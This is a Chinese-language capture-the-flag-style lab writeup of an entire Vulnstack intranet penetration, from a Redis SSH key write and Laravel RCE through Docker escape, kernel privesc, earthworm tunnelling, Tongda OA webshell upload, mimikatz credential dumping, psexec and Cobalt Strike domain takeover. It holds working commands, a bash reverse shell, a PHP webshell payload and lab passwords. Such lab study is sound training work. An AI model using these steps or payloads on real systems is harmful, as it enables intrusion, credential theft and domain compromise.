环境下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
前置配置
环境拓扑
网络编辑(这里桥接模式的网段不能通第二层也就是52的网段,笔记中桥接模式无法联网所以使用了52的nat网段)
DMZ区域:
- 给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上
连通第二层网络。
第二层网络区域:
- 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。
第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在
VMnet14上连通第三层网络
用户名密码:
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户(不重要):
admin:admin657260
配置服务:
DMZ区的 Ubuntu(web1) 需要启动redis和nginx服务(这里的redis得用root权限启动):
sudo -i
redis.confredis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F(关闭防火墙)
第二层网络的ubuntu(web2)
sudo -i
service docker start (启动docker)
docker start 8e172820ac78(启动镜像)
第二层网络的windows 7(pc1) 启动通达OA,需要用administrator启动并关闭防火墙
位置:
C:\MYOA\bin\AutoConfig.exe
启动时需要输入域用户名密码:
域用户账户和密码如下:
Administrator:Whoami2021
关闭防火墙。并启动
因为是内网攻击,我们先使用攻击机先进行内网主机扫描
netdiscover -r 192.168.1.0/24
得到这些ip,排除52.1和52.254剩余的跑一下端口
192.168.52.10
192.168.52.20
192.168.52.30
访问资产,一个laravel,尝试找一下历史漏洞
存在Laravel RCE(CVE-2021-3129)命令执行漏洞
同时该主机还使用了redis,尝试redis未授权
redis未授权
先尝试redis未授权,测试存不存在未授权
redis-cli -h 192.168.52.10
发现存在未授权漏洞,写入ssh公钥连接ssh
#生成公钥(需要root权限)
ssh-keygen -t rsa
#-t 公钥名
#将公钥写入到f.txt文件内
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > f.txt
#/root/.ssh/id_rsa.pub:公钥存放位置
#把f.txt文件内容写入目标主机的redis缓冲中
cat f.txt |redis-cli -h 192.168.52.10 -p 6379 -x set hello
`set`是Redis的一个命令,用于设置键值对,`xxx`在这里是键(key)的名称
#在这个命令中,`cat f.txt`的输出(即`f.txt`的内容)将被传递给后面的`redis-cli`命令。
// -x 代表从标准输入读取数据作为该命令的最后一个参数
-h ip
-p 端口
段命令的作用是将文件`f.txt`的内容作为值,设置到Redis服务器(IP地址为192.168.52.10,端口
号为6379)上,键名为`aaa`
# 设置redis备份路径
config set dir /root/.ssh#设置保存文件名为redis_bf
config set dbfilename authorized_keys
保存操作
save
在redis中config set命令是用于动态修改redis服务器的配置
dir和dbfilename是用于hidingredis数据库文件的存储路径和文件名。但将这些配置项设置为与 SSH 密钥管理相关的路径和文件名会导致ssh
成功连接目标主机
进行简单的信息收集,发现网段52.x
通过浏览器插件我们可以知道该主机还有一个nginx反向代理
查看他的反向代理文件
在80文件内并未发现有用的东西,在81文件内,发现52.20地址
利用Laravel框架漏洞反弹getshell
工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
Webshell工具:哥斯拉(2.92版本可连)
https://github.com/BeichenDream/Godzilla/releases/tag/v2.92-godzilla
在github上可以下载到利用脚本,直接脚本梭哈,使用的时候如果没出结果将url最后的一个/去掉
使用哥斯拉2.92连接成功,注意修改有效载荷
进行一波简单的信息收集,发现docker应该是在docker环境内,ip端是172
反弹shell
bash -c 'sh -i >& /dev/tcp/192.168.52.10/10023>&1'
查看当前用户权限
提权
目前的权限是www,利用容器操纵实体机修改ssh,进行免密登录所以我们首先得在容器中进行 提权。
环境变量劫持提权
查找有高权限的文件,也就是说这个文件的权限是root,那么通过这个权限调用的任何命令也是 root权限,再修改环境变量,让这个文件调用的命令指向我们写的恶意命令就可以进行提权。
原理:
利用suid的权限调用所属主用户即root用户执行c里的代码
find 命令查找具有 SUID 或4000 权限的文件
find / -perm -u=s -type f 2>/dev/null 命令详解:
find 命令来搜索具有 SUID 或4000 权限的文件
find # 这是用于在文件系统中搜索文件的命令
/ # 根目录, find 将从文件系统的根目录开始搜索整个文件系统
-perm # 用来查找具有某些权限的文件
-u=s # 查找那些其执行权限位( x )设置了 “s” (而不是 “x” )的文件
注意:-u=s 中 (连接符)这里是指 “ 所有指定为都必须匹配的意思 ”
-type # 这个选项允许你基于文件类型来搜索文件。
f # 表示 “ 普通文件 ” 。这意味着 find 将只搜索普通文件,而不是目录、设备文件等。
2>/dev/null #2>/dev/null 意味着任何由 find 命令产生的错误消息都将被丢弃
注意:这时候是在docker镜像内,为了详细点,进入镜像内查看一下文件
在web2的机器上
sudo docker exec -it 8e172820ac78 /bin/bash #进入镜像如果使用
exit退出,容器会停止运行
文件位置:/home/jobs/shell
如果想退出容器但不想容器停止,则按住Ctrl+P+Q退出
cd /tmp
echo "/bin/bash" > ps # 写入恶意文件
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 添加环境变量
cd /home/jobs
./shell
补充: /tmp 文件夹是一个临时文件夹,用于存储临时文件和临时数据。 所有用户都可以在该文件夹内写入文件所以在 /tmp 文件夹下下入
docker逃逸
docker 特权模式:允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物 理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run — privileged 时, Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。
当控制使用特权模式启动的容器时, docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂 载进容器内部,获取对整个宿主机的文件读写权限
fdisk -l # 查看磁盘文件
ls /dev # 查看设备文件
发现三个磁盘文件和很多的设备文件,先将/dev/sda 挂载到创建的文件夹看看
mkdir d # 创建文件夹
mount /dev/sda1 d # 把 sda1 挂载到 d
在home下发现ubuntu用户,尝试之制造ssh公钥连接
ssh-keygen -f f
chmod 600 f # 给予权限
权限太高会报错,建议权限设置为600
报错提示:
生成密钥:
将生成的文件( f.pub )写入 /gz/home/ubuntu/.ssh/authorized_keys 中
echo ' 生成的 pub 文件的内容 '>/d/home/ubuntu/.ssh
利用生成的密钥进行登录
ssh -i f [email protected]
# -i 指定一个 RSA 或 DSA 认证所需的身份 ( 私钥 ) 文件
CVE-2021-3493提权
查看网络,发现一个93的网段
查看系统版本发现是一个ubuntu14.04的系统,看到版本很老尝试到网上找一下有没有Nday
lsb_release -a
在网上找到漏洞(CVE-2021-3493)
项目地址:
CVE-2021-3493/exploit.c at main · briskets/CVE-2021-3493 (github.com)
将项目地址拷贝到目标主机
cd /tmp
vim exp.c # 将 exp 粘贴进去
gcc exp.c -o exp # 编译 exp
chmod 777 exp # 给予权限
./exp # 运行
whoami # 查看当前权限
成功提权
上线msf
先将web1上线
search web_delivery # 查找模块
use exploit/multi/script/web_delivery # 选择模块
show targets # 查看目标系统
set target 7 # 选择目标系统
show payloads # 查看 payload
set payload linux/x64/meterpreter/reverse_tcp # 选择 payload
set lhost 192.168.1.154 # 攻击机 ip
set lport 1111 # 端口
show options # 查看当前模块配置
run # 启动
sessions # 查看上线的主机
在目标主机运行生成的命令
查看连接
路由与socks5代理
目前已经 获取到两个sessions,kali与52段的主机无法通讯,所以需要在web1的机器上添加一个 到52段的路由
路由的作用是将msf带入到内网里,但是想要将其他工具也带入内网就需要搭建socks代理
工具地址: idlefire/ew: 内网穿透(跨平台) (github.com
语法: route add 目标网段 子网掩码 sessions 号
route add 192.168.52.0 255.255.255.0 5 # 添加路由
route print # 查看
使用earthworm搭建socks5反向代理
工具: https://github.com/idlefire/ew
下载后放入攻击机,给一下权限,然后开启监听
chmod 777 ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 6456
-s: 设置监听模式
-l: 设置监听端口
-e :设置反弹主机端口
搭建成功会出现: rssocks cmd_socket OK!
sessions # 查看上线主机
sessions id # 进入主机
进入dmz区域的主机,在该主机上搭建socks反向代理
shell
upload /root/gju/ew_for_linux64 # 下载工具,后面的路径为工具在攻击机上的路径
chmod 777 ew_fow_linux64
nohup ./ew_for_linux64 -s rssocks -d 192.168.52.128 -e 6456
-d: 设置反弹主机 ip
然后在kali上配置proxychains,将socks5服务指向127.0.0.1:1080
文件位置:
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
开启完成后, ctrl+cf 返回,然后 background 退出当前会话
使用auxiliary/scanner/discovery/udp_probe 模块进行第二层主机存活测试
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
发现一个30的主机,使用proxychains4对30的主机做一个端口扫描
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
[*] exec: proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
发现一个8080端口,在浏览器上配置一下代理去看一下
发现是一个通达oa,测试发现为V11.3版本,在网上可以找到很多的poc,存在漏洞包括任意用户 登录,文件包含,文件上传等多个漏洞。
POC: 通达OA前台任意用户登录漏洞+RCE漏洞复现_通达oa2016漏洞-CSDN博客 配置一下bp的代理:
抓包成功
尝试打一波历史漏洞
任意用户登录:
需修改以下三个地方:
/logincheck.php ---- >/logincheck_code.php
删除 cookie 在 post 传输的内容中添加 UID=1
未修改
修改后:
查看返回包的set-cookie,copy下来
用获取到的sessid访问/general
任意文件上传
漏洞位置:/ispirit/im/upload.php
POC
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Content-Type: multipart/form-data; boundary=---- WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/ *;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 656
Origin: http://192.168.52.30:8080
Connection: close
Referer: http://192.168.52.30:8080/
Cookie: PHPSESSID=123
Upgrade-Insecure-Requests: 1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE" 2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
路径:2410/1369304288.jpg
文件包含利用
漏洞位置:/ispirit/interface/gateway.php
POC
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/ *;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://192.168.52.30:8080
Connection: close
Referer: http://192.168.52.30:8080/
Upgrade-Insecure-Requests: 1
json={"url":"/general/../../attach/im/2410/1369304288.jpg"}&cmd=whoami
包含成功,开始上线msf
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 攻击机 IP
set lport 端口
run
将生成的powershell,利用木马进行上传,虽然没有回显,但是MSF成功上线(这一步有点看运 气,连不上就换端口再连,连上了也及其不稳定,不知道是不是我这里的原因,多尝试几遍吧)
做信息收集
ipconfig /all # 查看本机 ip ,所在域
route print #打印路由信息
net view #查看局域网内其他主机名
arp -a #查看arp缓存
net start #查看开启了哪些服务
net share #查看开启了哪些共享
net share ipc$ # 开启 ipc 共享
net share c$ # 开启 c 盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx 建立空连接
net use \\192.168.xx.xx\c$ " 密码 " /user:" 用户名 " #建立c盘共享
dir \\192.168.xx.xx\c$\user #查看192.168.xx.xx c 盘 user 目录下的文件
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators #查看本地管理员组(通常会有域用户)
net view /domain #查看有几个域
net user 用户名 /domain #获取指定域用户的信息
net group /domain #查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain #查看域中某工作组
net time /domain #主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
可以得到信息,93网段,域为whoamianony.org,域控为DC.whoamianony.org,IP为 192.168.93.30,域管理员为Administrator
至此,拿下三台主机
横向渗透
获取凭证(将进程迁移至64位的进程上)
因为目标系统是64位的,所以需要吧metepreter进程迁移到一个64位程序的进程中。(system权 限的进程)
ps # 查看进程
migrate + 进程号
load kiwi # 打开 kiwi
kiwi_cmd 模块可以让我们使用 mimikatz 的全部功能,该命令后面接 mimikatz.exe 的命令 kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
load kiwi # 加载 kiwi 模块
help kiwi # 查看 kiwi 模块的使用
模块翻译
creds_all :# 列举所有凭据
creds_kerberos :#列举所有 kerberos 凭据
creds_msv :#列举所有 msv 凭据
creds_ssp :#列举所有 ssp 凭据
creds_tspkg :#列举所有 tspkg 凭据
creds_wdigest :#列举所有 wdigest 凭据
dcsync :#通过 DCSync 检索用户帐户信息
dcsync_ntlm : #通过 DCSync 检索用户帐户 NTLM 散列、 SID 和 RID
golden_ticket_create : # 创建黄金票据
kerberos_ticket_list : # 列举 kerberos 票据
kerberos_ticket_purge : # 清除 kerberos 票据
kerberos_ticket_use : # 使用 kerberos 票据
kiwi_cmd : # 执行 mimikatz 的命令,后面接 mimikatz.exe 的命令
lsa_dump_sam :#dump 出 lsa 的 SAM
lsa_dump_secrets :#dump 出 lsa 的密文
password_change :#修改密码
wifi_list : #列出当前用户的 wifi 配置文件
wifi_list_shared :#列出共享 wifi 配置文件 / 编码
拿到域用户bunny和域管理员administered的凭证
bunny : Bunny2021
administrator : Whoami2021
至此,第二层已经全部渗透完毕,接下来开始第三层的渗透
第三层
在第二层的网络windows服务器的meterpreter中添加一个通往192.168.93.1网段的路由
route add 192.168.93.0 255.255.255.0 80
route print
在攻击机上添加一个转接隧道,监听1090端口,并且将1090收到的代理请求给到1235端口
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235
在第二层网络的Windows服务器上传ew_for_win.exe,并利用ssocksd方式启动999端口的正向代 理
uoload /root/we_for_win.exe ( 文件位置 )
ew_for_Win.exe -s ssocksd -l 4567
在DMZ区域的ubuntu18上,将攻击机端口与windows的999端口连接起来。
./ew_for_linux64 -s lcx_slave -d 192.168.52.128 -e 1235 -f 192.168.52.30 -g 4567
配置proxychains
vim /etc/proxychains4.conf
连接成功
background退出当前会话,使用msf切换模块来探测第三层的网络
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
发现30 ( DC )与40 ( PC2 )两台主机,再做个端口扫描看看
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.40 # 设置 IP
set threads 15 # 设置 线程
show options
看到一个445的端口,先尝试打一波永恒之蓝
永恒之蓝
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
永恒之蓝失败,那在去看看刚刚的30主机。也就是DC的那台机器,因为有管理员和密码,所以 直接上psexec模块
psexec模块攻击
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
show options
run
还是攻击失败,猜测是防火墙的原因,因为在pc1的时候已经获取到了域控的密码,那么就可以 控制第二层的windows 7来远程关闭域控的防火墙。
shell
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.30 start unablefirewall
background # 退出会话
ru
DC上线拿下域控,开始打最后一台pc2
CS上线获取pc2
在获取DC之前做了一次永恒之蓝,打不进去,这次换CS来打
在服务端开启
chmod 777 temserver # 给权限
chmod 777 TeamServerImage
./teamserver 192.168.52.128 (本机 ip ) 123456 (设置密码)
服务器开启之后:
客户端
创建一个监听
新建一个监听,然后配置如下,配置后选择这个监听
这个有点像msf中的web_delivery模块
将生成的命令在pc1的shell执行
cs成功上线
打开pc1的会话,然后就是查看目标以及密码
net view
logonpasswords
在cs上新建一个smb的监听,下图中的Listeners的位置(次监听是为了绕过防火墙,前面打 ms17010时判断出目标机器应该存在防火墙)
进入listeners --> add
配置完之后,点击下图所示,找到扫到的40主机
jump -- > psexec
用户名,密码,域在拿到30的机器时已经收集到,直接填入就可以了
通过pc2的会话查看主机ip地址
shell ipconfig
拿下40主机
同样的方法上线dc主机,至此,拿下全部主机
标签:文件,set,查看,--,Writeup,192.168,主机,靶场,net From: https://blog.csdn.net/dingxingaq/article/details/143481072